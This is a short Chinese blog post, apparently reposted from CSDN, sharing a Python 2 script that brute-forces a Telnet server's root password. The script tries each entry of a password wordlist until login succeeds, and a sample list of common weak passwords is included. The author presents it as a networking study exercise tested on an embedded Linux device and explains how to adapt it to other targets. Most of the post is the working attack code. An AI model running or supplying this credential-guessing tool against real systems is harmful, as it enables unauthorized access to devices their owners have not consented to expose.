最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。
代码如下:
#encoding=utf-8 import telnetlib import time import sys import os def do_telnet(Host, Port, username, password, finish): #连接Telnet服务器 tn = telnetlib.Telnet(Host, Port, timeout=1) tn.set_debuglevel(3) #输入登录用户名 tn.read_until("login: ") tn.write(str(username)+'\n') # 输入登录密码 tn.read_until("Password: ") tn.write(str(password)+'\n') # 判断密码错误提示,如果没有这个提示说明登录成功 if tn.read_until(finish): print "****** login incorrect!\n" tn.close(); if __name__=='__main__': Host = raw_input("IP:") # Telnet服务器IP Port = raw_input("Port:") # Telnet服务器端口 username = 'root' # 登录用户名 finish = 'incorrect' # 密码错误提示 pw_file = open('.\\pw.txt','r+') #密码文件 Index = 0 print time.asctime(),": ****** begin","\n" while True: password = pw_file.readline() Index +=1; print Index,time.asctime(),": ****** try","",username,":",password,"" if len(password) == 0: break; do_telnet(Host, Port, username, password, finish) pw_file.close();
root admin 12345 888888
输出如下:
注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。
原文地址:http://blog.csdn.net/bubu8633/article/details/40862445